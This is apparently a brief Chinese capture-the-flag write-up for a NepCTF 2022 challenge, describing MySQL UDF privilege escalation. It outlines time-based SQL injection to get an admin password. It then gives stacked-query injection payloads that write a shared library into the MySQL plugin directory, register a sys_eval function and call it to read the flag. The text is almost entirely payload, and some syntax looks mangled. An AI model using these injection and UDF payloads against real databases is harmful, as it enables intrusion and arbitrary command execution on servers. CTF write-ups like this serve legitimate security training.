nepctf-2022-博学多闻的花花-udf提权

时间注入拿到admin密码登入，根据sql逻辑构造udf上传，再通过curl提权查看flag

payload：

-1';create table zzz (c BLOB);INSERT INTO zzz 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c from zzz into dumpfile '/usr/lib64/mysql/plugin/udf.so';create function sys_eval returns string soname 'udf.so';

-1';union 1,select sys_eval('curl fiel:///flag'),2;#